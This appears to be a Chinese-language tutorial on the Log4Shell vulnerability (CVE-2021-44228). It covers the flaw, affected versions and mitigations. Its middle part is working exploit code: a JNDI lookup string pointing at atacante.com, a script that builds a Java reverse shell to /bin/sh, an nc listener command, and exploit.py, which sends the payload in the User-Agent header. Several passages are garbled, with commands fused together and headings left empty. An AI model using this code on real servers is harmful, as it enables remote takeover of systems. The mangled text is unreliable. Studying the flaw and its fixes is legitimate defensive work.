
关键影响 (CVSS 10.0) | 发现于2021年,Apache Log4j 中的这一缺陷允许远程代码执行 (RCE),影响全球数百万系统。即使在今天,它仍然是网络安全领域的关键警示!
CVE-2021-44228,被称为 Log4Shell,是 Apache Log4j 2 日志库中的一个 远程代码执行 (RCE) 关键漏洞。该缺陷允许恶意攻击者仅通过发送应用程序记录的特制文本字符串,即可在易受攻击的服务器上执行任意代码。
Log4Shell 并非孤立存在;它还衍生出 CVE-2021-45046 (RCE/DoS)、CVE-2021-45105 (DoS) 和 CVE-2021-4104 (Log4j 1.2 中的 RCE)。
问题的核心在于 Log4j 中对 JNDI (Java 命名和目录接口) 的不安全处理,它会无验证地解析远程查找。
${jndi:ldap://atacante.com:1389/Exploit}
工作原理:
${...} 并触发 JNDI 查找。可利用协议: LDAP、RMI、DNS、IIOP 等。这导致以下威胁:
感染链 (Kill Chain):
| 特性 | 详情 |
|---|---|
| CVSS v3.1 评分 | 10.0 (严重) 🔥 - 最高严重性。 |
| 受影响版本 | Log4j 2.0-beta9 至 2.14.1(包括子 CVE 的衍生版本至 2.16.0)。 |
| 根本原因 | 未经验证的 JNDI 消息替换;启用了远程查找。 |
| 攻击向量 | 远程、无需认证;影响 Java 8+ 的 Web/云应用程序。 |
| 受影响产品 | Apache Struts, Solr, Druid, Elasticsearch, Dubbo, VMware vCenter 等。 |
| 利用难度 | 容易:GitHub 上存在公开 PoC;无需特权。 |
影响统计数据:
⚠️ 警告: 本内容仅供教育和授权测试之用。未经明确许可,请勿在系统上使用。未经授权利用漏洞是非法的(例如违反美国CFAA等法律)。请始终进行道德渗透测试。
基于 kozmer/log4j-shell-poc 等公共仓库,以下是在受控环境(例如本地 Docker/VM)中 PoC 的简化概览。
git clone https://github.com/kozmer/log4j-shell-poc.git && cd log4j-shell-poc/docker build -t log4j-vuln . && docker run --network host -p 8080:8080 log4j-vuln/usr/bin/jdk1.8.0_202)。#!/usr/bin/env python3
import argparse
from colorama import Fore, init
import subprocess
import threading
from pathlib import Path
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler
CUR_FOLDER = Path(__file__).parent.resolve()
def generate_payload(userip: str, lport: int) -> None:
program = f"""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {{
public Exploit() throws Exception {{
String host="{userip}";
int port={lport};
String cmd="/bin/sh";
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
// ... (简化版反弹 shell 代码)
}}
}}
"""
p = CUR_FOLDER / "Exploit.java"
try:
p.write_text(program)
subprocess.run([f"{CUR_FOLDER}/jdk1.8.0_202/bin/javac", str(p)])
print(Fore.GREEN + '[+] Exploit 类生成成功')
except Exception as e:
print(Fore.RED + f'[-] 错误: {e}')
# ... (LDAP 服务器和 Web 服务器函数与原始类似)
def main():
init(autoreset=True)
print(Fore.BLUE + "[!] CVE-2021-44228 教育性 PoC - 仅限实验室使用!")
# 参数:--userip localhost --webport 8000 --lport 9001
# 启动 LDAP、Web 服务器并生成 payload
if __name__ == "__main__":
main()
python3 poc.py --userip 127.0.0.1 --webport 8000 --lport 9001nc -lvnp 9001 - 监视反弹 shell。${jndi:ldap://127.0.0.1:1389/a}。Python 简易 PoC (Listener + Exploit): 用于快速演示,先运行 listener 脚本。
listener.py:
import socket
import threading
def start_listener(ip, port):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((ip, port))
server.listen(1)
print(f"[*] 监听器在 {ip}:{port}...")
conn, addr = server.accept()
print(f"[+] 连接来自 {addr}")
data = conn.recv(4096)
print(data.decode('utf-8', errors='ignore'))
conn.close()
if __name__ == "__main__":
threading.Thread(target=start_listener, args=("0.0.0.0", 1389)).start()
input("按回车键停止...\n") # 保持运行
exploit.py:
import requests
import argparse
def send_exploit(target, lhost, lport):
payload = f"${{jndi:ldap://{lhost}:{lport}/Exploit}}"
headers = {'User-Agent': payload}
try:
r = requests.get(target, headers=headers, timeout=10)
print(f"[+] 发送至 {target} | 状态码: {r.status_code}")
except Exception as e:
print(f"[!] 错误: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", required=True)
parser.add_argument("-l", "--lhost", required=True)
parser.add_argument("-p", "--lport", type=int, default=1389)
args = parser.parse_args()
send_exploit(args.target, args.lhost, args.lport)
运行: python3 listener.py & python3 exploit.py -t "http://target:8080" -l "127.0.0.1"
注意: 需要 Marshalsec 来模拟 LDAP。仅在隔离实验室中测试。
立即行动!通过更新和配置可以避免 Log4Shell。
mvn dependency:tree 或 Snyk 等工具检查间接依赖。-Dlog4j2.formatMsgNoLookups=trueLOG4J_FORMAT_MSG_NO_LOOKUPS=truelog4j2.xml 中添加 <Configuration xmlns:log4j="..."> <property name="log4j2.formatMsgNoLookups" value="true"/></Configuration>zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
${jndi:*} payload(例如 ModSecurity 或 Cloudflare 规则)。对于衍生 CVE: